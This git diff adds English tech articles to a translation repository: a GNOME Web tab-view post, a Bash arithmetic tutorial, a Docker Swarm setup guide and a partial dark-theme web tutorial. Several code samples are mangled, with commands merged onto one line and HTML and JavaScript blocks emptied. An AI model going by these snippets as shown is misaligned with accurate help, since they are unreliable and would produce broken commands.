how cool it is. + +![][3] + +So, in summary, here’s what you get in GNOME Web 43 tab view: + +* Tab view is a new page with responsive preview of your open tabs. +* Search and create tab option. +* Drag and drop feature to re-order the tab thumbnails. +* All the tab context menu features (such as Pin tab, reload tab, etc.) available in this tab view. +* Awesome keyboard shortcuts to browse the tabs (such as CTRL+Page Up and Down to go up and back). +* Tab preview image is dynamic, that means as your page loads, tab view refreshes by itself! + +### Implementation + +This feature is courtesy of libadwaita library. It was available since libadwaita v1.0, but implemented now. You can read the documentation [here][4]. + +``` +final class Adw.TabView : Gtk.Widget { +/* No available fields */ +} + +AdwTabView* +adw_tab_view_new ( + void +) +``` + +*The main TabView class and constructor to create Tabview* + +As of writing this post, this feature is NOT yet merged (MR!1190) to Epiphany main branch for GNOME 43. Above screenshots and feature highlights are from the development version of Web 43. + +### What about Files, Terminal and Text editor? + +I know what you are thinking. + +What if the same feature arrives in Files or in GNOME Terminal? Wouldn’t it be cool? + +Yes, there is a strong possibility. Because the feature is actually part of Libadwaita and Web is the first native app that implements it. + +If GNOME devs want, Files and other native apps can inherit this feature via libadwaita. However, I haven’t came across any draft/roadmap to implement this for other apps, yet. + +### Wrapping up + +So, that about this cool new GNOME Web 43 tab view feature. Finally, Web is becoming a viable alternative web browser other than Firefox. + +What do you think about the above feature? Do let me know in the comment box. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/gnome-web-43-tab-view/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/gnome-43/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/09/GNOME-Web-43-Tab-View.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2022/09/GNOME-43-Web-Tav-View.mp4 +[4]: https://gnome.pages.gitlab.gnome.org/libadwaita/doc/1-latest/ctor.TabView.new.html diff --git a/sources/tech/20220905 How To Perform Arithmetic Operations In Bash.md b/sources/tech/20220905 How To Perform Arithmetic Operations In Bash.md new file mode 100644 index 0000000000..bf81ae4708 --- /dev/null +++ b/sources/tech/20220905 How To Perform Arithmetic Operations In Bash.md @@ -0,0 +1,269 @@ +[#]: subject: "How To Perform Arithmetic Operations In Bash" +[#]: via: "https://ostechnix.com/bash-arithmetic-operations/" +[#]: author: "Karthick https://ostechnix.com/author/karthick/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How To Perform Arithmetic Operations In Bash +====== +Different Ways To Do Mathematical Operations In Bash + +In this article, we will focus on how to **do mathematical operations in bash scripts**. We can **perform arithmetic operations in Bash** using the built-in and external tools. First, we will learn about the built-in tools. + +**Note:** Unlike other programming languages, bash arithmetic operations are not straight-forward(at least for me). There are multiple bash built-in and external programs to perform the same operations. If you want to perform any complex mathematical computation, then a shell is not a recommended way to do it. + +#### Contents + +1. Do Mathematical Operations In Bash Using The Built-in "let" Command +2. Do Arithmetic Operations In Bash Using The Built-in Double Brackets +3. Perform Arithmetic Operations In Bash Using Expr Utility +4. Perform Bash Arithmetic Operations Using bc Utility +5. Perform Mathematical Operations With AWK +6. Conclusion + +### Do Mathematical Operations In Bash Using The Built-in "let" Command + +Using the `let` command, you can perform arithmetic, incremental, bitwise, and conditional operations. The drawback with the let command is it cannot handle floating point values. + +The `let` command in bash is a built-in command. You can verify that by running the following command in the terminal. + +``` +$ type -a letlet is a shell builtin +``` + +Run the following command to get the help section where you can find the list of operators supported by the ‘let’ command. + +``` +$ let -help +``` + +**Sample output:** + +![Display let Command Help Section][1] + +There are a few essential points to note when working with the let command. + +* The output of any operation should be assigned to a variable and then printed. The ‘let’ command will not allow you to print the outputs straight away. +* No space is allowed between the operator and the operand. + +Create a shell script, copy and paste the below example code and try running the script. In the code given below, I am performing arithmetic operations. As mentioned already, the output of the expression should be assigned to a variable before printing it out. + +``` +#!/usr/bin/env bash + +let NUMBER1=10 +let NUMBER2=3 + +# Addition => + operator +let ADD=$NUMBER1+$NUMBER2 +echo "Addition of two numbers : ${ADD}" + +# Subtraction => - operator +let SUB=$NUMBER1-$NUMBER2 +echo "Subtraction of two numbers : ${SUB}" + +# Multiply => * operator +let MUL=$NUMBER1*$NUMBER2 +echo "Multiply two numbers : ${MUL}" + +# Divide => / operator +let DIV=$NUMBER1/$NUMBER2 +echo "Division of two numbers : ${DIV}" + +# Remainder => % operator +let REM=$NUMBER1%$NUMBER2 +echo "Remainder of two numbers : ${REM}" + +# Exponent => ** operator +let EXPO=$NUMBER1**$NUMBER2 +echo "Exponent of two numbers : ${EXPO}" +``` + +![Do Mathematical Operations In Bash Scripts][2] + +You can also do post increment and post decrement operations too. This operation will be mostly used when we are running loops in the script. + +* The post increment operation will increase the variable value to VARIABLE + 1. +* The pre-increment operation will increase the variable value to VARIABLE - 1. + +``` +let variable++let variable-- +``` + +![Do Post Increment And Post Decrement Operations][3] + +You can also do other comparison operations like checking for equality, inequality, greater than, less than, etc. I would strongly recommend not using the `let` command to do any comparison operations as there are better ways to handle it. + +### Do Arithmetic Operations In Bash Using The Built-in Double Brackets + +As an alternative to the `let` command, you can use the **double brackets** method where you have to place the operator and the operand within the double brackets. + +The advantage of this method over the `let` command is that the result can be straightaway printed or stored in a variable and you can add spaces between the operator and the operand. Similar to the `let` command, you cannot do any floating point operations. + +The example given below is pretty much the same as the examples shown in the `let` command. All you have to do is put your expression inside double brackets. There is no need to prepend the variables with the **$** symbol inside the double brackets. Just give the variable name and the value will be interpreted. + +From the below image, if you can see lines 12 and 13 you will see a difference in how the expression is handled. Anything within the brackets will be first evaluated and the result of it will be computed against other operands. You can see this behavior in the output of **"Multiply"** and **"Multiply1"**. + +![Perform Arithmetic Operations In Bash Scripts Using Double Brackets][4] + +Similar to the `let` command, you can also do post increment and decrement operations. + +``` +((NUMBER2++)((NUMBER1--)) +``` + +You can also perform shorthand operations. + +``` +(( NUMBER2 = NUMBER2 + 10 ))(( NUMBER2 += 10 )) # Shorthand +``` + +![Perform Post Increment And Decrement Operations][5] + +### Perform Arithmetic Operations In Bash Using Expr Utility + +In the previous sections, we have seen about built-in functionality and in this section, we will take a look at **"expr"**, which is an external program. + +Not only the mathematical operations, the expr utility can also do operations on strings like finding the index of a character, length of a string, substring etc. + +Before using the expr program, go through the man page which will give you a fair bit of understanding about this utility. + +``` +$ man expr$ expr -help +``` + +Following is the syntax for the `expr` command: + +``` +$ expr +``` + +The basic arithmetic operation is the same as what we have seen in the previous sections. The only difference here is when using ***** to do a multiplication operation you have to escape it with **"\"** otherwise it will throw an error. + +``` +expr 10 + 3 # Additionexpr 10 - 3 # Subtractionexpr 10 * 3 # Multiplyexpr 10 / 3 # Divideexpr 10 % 3 # Remainder +``` + +![Perform Arithmetic Operations In Bash Using Expr Utility][6] + +Till now we have seen about three different ways to do basic arithmetic and incremental operation. Compared to the `let` and `expr`, the **recommended approach is to use double parentheses**. + +A commonality with these three approaches is that they cannot handle floating point operations. You have to rely on external utilities like `awk` and `bc` to do floating point operations. + +### Perform Bash Arithmetic Operations Using bc Utility + +The **bc** utility is an external program that can be used to do basic as well as complex mathematical operations. **Floating point operation is also supported** by the bc utility. + +You can view the type of the bc utility and its manual page using the following commands: + +``` +$ type -a bc$ man bc +``` + +Following examples show simple mathematical operations with Integer and floating values. + +``` +# Add +$ echo "10 + 100" | bc +=> 110 + +$ echo "10.15 + 11.20" | bc +21.35 + +# Subtract +$ echo "100 - 25" | bc +=> 75 + +$ echo "100 - 25.5" | bc +=> 74.5 + +# Multiply +$ echo "10 * 5" | bc +=> 50 + +$ echo "10.10 * 4" | bc +=> 40.40 +``` + +When doing division operation you have to set the scale value for the result to be printed in floating point value otherwise the result will be an integer value. The value set in the scale decides how many digits to be printed after the decimal. + +``` +# without scale +echo "10.10 / 4" | bc +=> 2 +``` + +``` +# with scaleecho "scale=2;10.10 / 4" | bc=> 2.52 +``` + +You can also do exponent operation. + +``` +$ echo "2.2^4" | bc=> 23.4 +``` + +### Perform Mathematical Operations With AWK + +**Awk** offers more functionality to do mathematical computation compared to other utilities. It has a couple of built-in functions which will make our life easy. + +Below is the syntax to do mathematical computation. + +``` +$ awk "BEGIN {print expression }" +``` + +To perform a simple multiplication, run: + +``` +$ awk "BEGIN {print 23 * 4.5 }"=> 103.5 +``` + +From a floating point value, you can get the integer value alone using the `int` function. + +``` +$ awk "BEGIN{print int(10.111) }"=> 10 +``` + +You can also calculate the square root of a given number using the `sqrt` function. + +``` +$ awk "BEGIN{print sqrt(10) }"=> 3.16228 +``` + +Particularly when working with CSV files I often end up in situations to compute the average of a column. You can simply calculate the average of a column with the following code. + +Since this is a CSV file, I am setting the field separator to(-F “,”). Here the entire second column is first added and divided by the NR(number of records). + +``` +$ awk -F "," '{sum+=$2} END { print "average value from column 2 = ",sum/NR}' data.csv +``` + +We will post a detailed guide about **awk** in the days to come. + +### Conclusion + +In this article, I have shown you various methods to perform simple mathematical operations in Bash. If you are performing very simple arithmetic operations, stick with the double bracket approach and for more complex operations use awk. + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/bash-arithmetic-operations/ + +作者:[Karthick][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/karthick/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/wp-content/uploads/2022/09/Display-let-Command-Help-Section.png +[2]: https://ostechnix.com/wp-content/uploads/2022/09/Do-Mathematical-Operations-In-Bash-Scripts.png +[3]: https://ostechnix.com/wp-content/uploads/2022/09/Do-Post-Increment-And-Post-Decrement-Operations.png +[4]: https://ostechnix.com/wp-content/uploads/2022/09/Perform-Arithmetic-Operations-In-Bash-Scripts-Using-Double-Brackets.png +[5]: https://ostechnix.com/wp-content/uploads/2022/09/Perform-Post-Increment-And-Decrement-Operations.png +[6]: https://ostechnix.com/wp-content/uploads/2022/09/Perform-Arithmetic-Operations-In-Bash-Using-Expr-Utility.png diff --git a/sources/tech/20220905 How to Deploy Docker Swarm on Ubuntu 22.04 Step-by-Step.md b/sources/tech/20220905 How to Deploy Docker Swarm on Ubuntu 22.04 Step-by-Step.md new file mode 100644 index 0000000000..c09c980102 --- /dev/null +++ b/sources/tech/20220905 How to Deploy Docker Swarm on Ubuntu 22.04 Step-by-Step.md @@ -0,0 +1,235 @@ +[#]: subject: "How to Deploy Docker Swarm on Ubuntu 22.04 Step-by-Step" +[#]: via: "https://www.linuxtechi.com/how-to-deploy-docker-swarm-on-ubuntu/" +[#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How to Deploy Docker Swarm on Ubuntu 22.04 Step-by-Step +====== +In this guide, we will cover how to deploy Docker Swarm on Ubuntu 22.04 step-by-step. + +#### What is Docker Swarm? + +Docker Swarm is a container orchestration tool that runs on the Docker platform. It helps users to create and manage a cluster of Docker nodes. Clustering in Docker is a crucial concept in providing redundancy by enabling Docker Swarm to fail over should one or more nodes in the cluster fail. + +Docker Swarm uses the standard Docker API to communicate with other tools such as Docker Engine. It intelligently assigns containers to worker nodes and ensures resource optimization by scheduling container workloads to run on the most suitable node(s) + +##### Lab setup + +To demonstrate how Docker Swarm works, we have a simple cluster that comprises a Swarm Manager node and two worker nodes as shown. The Manager nodes handle all the cluster management tasks while the worker nodes will run the containers. + +* swarm-manager                  10.128.0.57 +* worker-node-1                    10.128.0.58 +* worker-node-2                    10.128.0.59 + +### Step 1) Configure the Cluster hosts file + +To start off, log into each of the nodes and update the /etc/hosts file with the following entries: + +``` +swarm-manager          10.128.0.57 +worker-node-1          10.128.0.58 +worker-node-2          10.128.0.59 +``` + +Next, ensure that all the nodes can ping each other. Therefore, on the manager node, run the commands: + +``` +$ ping -c 4 10.128.0.58 +$ ping -c 4 10.128.0.59 +``` + +On worker Node 1 + +``` +$ ping -c 4 10.128.0.57 +$ ping -c 4 10.128.0.59 +``` + +On worker Node 2 + +``` +$ ping -c 4 10.128.0.57 +$ ping -c 4 10.128.0.58 +``` + +### Step 2) Install Docker CE on all the nodes + +The next step is to install Docker on all the nodes. We are going to install Docker Community Edition (Docker CE) which is free to install and use. + +Therefore, log into each of the nodes and update the local package index. + +``` +$ sudo apt update +``` + +Next, install the prerequisites package needed during the installation + +``` +$ sudo apt install apt-transport-https ca-certificates curl software-properties-common -y +``` + +Once all the packages have been installed, add the Docker GPG key + +``` +$ sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmour -o /etc/apt/trusted.gpg.d/docker.gpg +``` + +In the next step, add the official Docker repository to your Ubuntu 22.04 system + +``` +$ sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" +``` + +Next, update the local package index to make the system, aware of the newly added repository. + +``` +$ sudo apt update +``` + +Then install Docker from the official Docker repository, + +``` +$ sudo apt install docker-ce -y +``` + +The command installs Docker alongside additional packages that will be required by Docker to function as expected. + +![Install-docker-ce-apt-command-ubuntu][1] + +Once Docker is installed, add the currently logged-in user to the Docker group to avoid running Docker as a [sudo user][2] every time you run Docker. + +``` +$ sudo usermod -aG docker ${USER} +$ newgrp docker +``` + +### Step 3) Verify Docker is running on all the nodes + +Once installed, the Docker daemon starts automatically. You can verify that the service is running by running the command: + +``` +$ sudo systemctl status docker +``` + +![Docker-Service-Status-Ubuntu-22-04][3] + +Additionally, be sure to enable the Docker service so that it starts automatically on boot time. + +``` +$ sudo systemctl enable docker +``` + +### Step 4) Create Docker Swarm Cluster + +The next step is to initialize the Docker Swarm on the Manager node. Once initialized, we will then add the worker nodes to the cluster. + +To create a Docker Swarm Cluster, run the command: + +``` +$ sudo docker swarm init --advertise-addr 10.128.0.57 +``` + +![Docker-Swarm-Init-Ubuntu-22-04][4] + +Once Docker Swarm has been initialized, a command for joining the worker nodes to the cluster will be displayed on the terminal. Copy the command as you will need to run it on each of the worker nodes as previously mentioned. + +Next, login back to each of the worker nodes and paste the command in order to join the cluster. + +``` +$ sudo docker swarm join --token SWMTKN-1-1k397e5o52cae0yipopqcu9werjcwuss1exbyj4635rrjjl723-7ocx56uhb7p1ri7h2u6ynxyno 10.128.0.57:2377 +``` + +If all goes well, you should get the following output + +Output + +This node joined a swarm as a worker + +![Docker-Swarm-Join-Worker-Nodes-Ubuntu][5] + +Next, confirm that all the nodes have joined the cluster as follows. + +``` +$ sudo docker node ls +``` + +You should get the following output displaying all the nodes in the cluster. + +![List-Nodes-in-docker-Swarm-Ubuntu][6] + +### Step 5) Test Docker Swarm Installation + +To test docker swarm installation, head over to the manager node and deploy a container application to the cluster. In this example, we are deploying an Nginx web server container and mapping it to port 8080 on the host. + +``` +$ sudo docker service create --name web-server --publish 8080:80 nginx:latest +``` + +![Nginx-Based-Service-docker-swarm][7] + +Next, verify the status of the application service deployed. + +``` +$ sudo docker service ls +``` + +![List-Service-in-Docker-Swarm][8] + +### Step 6) Create replicas of the service + +Finally, create three replicas of the service and scale them across both the Docker manager and the worker nodes. + +``` +$ sudo docker service scale web-server=3 +``` + +![Service-Scale-docker-Swarm][9] + +Next, confirm the status of the replicas. This time around, you will notice that we have 3 replicas. + +![Verify-Service-inDocker-Swarm][10] + +At this point, Nginx web server container should be running across all the nodes in the cluster on port 8080. To confirm this, head over to your browser, and access the web server from all the nodes. + +http://manager-node:8080 + +http://worker-node-1:8080 + +http://worker-node-2:8080 + +![Nginx-Sample-Page-Docker-Swarm-Service][11] + +##### Conclusion + +In this guide, we managed to install and configure Docker Swarm. We also went a step further and deployed an application to the cluster and later scaled it across all the nodes in the cluster. + +Read Also: 20 Useful Docker Command Examples in Linux + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/how-to-deploy-docker-swarm-on-ubuntu/ + +作者:[Pradeep Kumar][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/pradeep/ +[b]: https://github.com/lkxed +[1]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Install-docker-ce-apt-command-ubuntu.png +[2]: https://www.linuxtechi.com/create-sudo-user-on-rhel-rocky-linux-almalinux/ +[3]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Docker-Service-Status-Ubuntu-22-04.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Docker-Swarm-Init-Ubuntu-22-04.png +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Docker-Swarm-Join-Worker-Nodes-Ubuntu.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/09/List-Nodes-in-docker-Swarm-Ubuntu.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Nginx-Based-Service-docker-swarm.png +[8]: https://www.linuxtechi.com/wp-content/uploads/2022/09/List-Service-in-Docker-Swarm.png +[9]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Service-Scale-docker-Swarm.png +[10]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Verify-Service-inDocker-Swarm.png +[11]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Nginx-Sample-Page-Docker-Swarm-Service.png diff --git a/sources/tech/20220906 A beginner-s guide to making a dark theme for a website.md b/sources/tech/20220906 A beginner-s guide to making a dark theme for a website.md new file mode 100644 index 0000000000..bc943dd807 --- /dev/null +++ b/sources/tech/20220906 A beginner-s guide to making a dark theme for a website.md @@ -0,0 +1,340 @@ +[#]: subject: "A beginner's guide to making a dark theme for a website" +[#]: via: "https://opensource.com/article/22/9/dark-theme-website" +[#]: author: "Sachin Samal https://opensource.com/users/sacsam005" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +A beginner's guide to making a dark theme for a website +====== +Learn how to program dark website themes using HTML, CSS variables, classes, and JavaScript methods. + +![Digital creative of a browser on the internet][1] + +Having a dark theme for your website is a common feature these days. There are various ways to add a dark theme to your website, and in this article, I demonstrate a beginner-friendly way of programming a dark theme for the web. Feel free to explore, make mistakes, and, more importantly, learn by manipulating the code in your own way. + +![Display of both light and dark theme web pages][2] + +Image by: (Sachin Samal, CC BY-SA 4.0) + +### Icons + +I like to provide a visual way for my users to discover the dark mode feature. You can include an easy set of icons by inserting the Font Awesome link in the `` element of your HTML. + +``` + + + +  Toggle - Dark Theme + +``` + +Inside your `` tag, create a Font Awesome moon icon class, which you will switch to the Font Awesome sun icon class later using JavaScript. This icon allows users to switch from the default light theme to the dark theme and back again. In this case, you're changing from `fa-moon` while in the light theme to `fa-sun` while in the dark theme. In other words, the icon is always the opposite of the current mode. + +``` + + 
              + +``` + +Next, create a CSS class in your stylesheet. You'll append this using the JavaScript `add()` method to toggle between themes. The `toggle()` function adds or removes a class name from an element with JavaScript. This CSS code creates a `changeTheme` class, setting the background color to dark gray and the foreground color (that's the text) to light gray. + +``` +.changeTheme { +  background: #1D1E22; +  color: #eee; +} +``` + +### Toggle between themes + +To toggle the appearance of the theme button and to apply the `changeTheme` class, use the `onclick()`, `toggle()`, `contains()`, `add()`, and `remove()` JavaScript methods inside your ` +``` + +The complete code: + +``` + + + +  Toggle - Dark Theme + + + + 
              + + + +``` + +### Complete themes + +The code so far may not fully switch the theme of a complex website. For instance, your site might have a header, a main, and a footer, each with multiple divs and other elements. In that case, you could create a standard dark theme CSS class and append it to the desired web parts. + +### Get familiar with your browser's console + +To inspect your browser's console, on the webpage where you run this code, press `Ctrl+Shift+I` or right-click and select the `Inspect` option. + +When you select `Elements` in the console and toggle your theme button, the browser gives you an indication of whether or not your JavaScript is working. In the console, you can see that the CSS class you appended using JavaScript is added and removed as you toggle. + +![Use browser tools to test light and dark themes][3] + +Image by: (Sachin Samal, CC BY-SA 4.0) + +Add a navigation and card section to see how adding the CSS class name on an HTML element with JavaScript works. + +### Example code for a dark theme + +Here's some example code. You can alternately view it with a live preview [here][4]. + +``` + + + +  Toggle - Dark Theme + + + + + + 
              +   

              Beginner Friendly Dark Theme

              + + 
              +   
              +     
              + +       
              +         
              +           
              +             
              What is Lorem Ipsum?
              +             
                +               
              • Sed sit amet felis tellus.
              • +               
              • Sed sit amet felis tellus.
              • +             
              +           
              +         
              +       
              + +       
              +         
              +           
              +             
              What is Lorem Ipsum?
              +             
                +               
              • Sed sit amet felis tellus.
              • +               
              • Sed sit amet felis tellus.
              • +             
              +           
              +         
              +       
              + +       
              +         
              +           
              +             
              What is Lorem Ipsum?
              +             
                +               
              • Sed sit amet felis tellus.
              • +               
              • Sed sit amet felis tellus.
              • +             
              +           
              +         
              +       
              + +     
              +   
              +  + +``` + +The `for...of` loop of JavaScript applies ".dark-theme" class styling properties to each `card` on the page, regardless of its position. It applies the theme to all web parts selected with `querySelectorAll()` in the `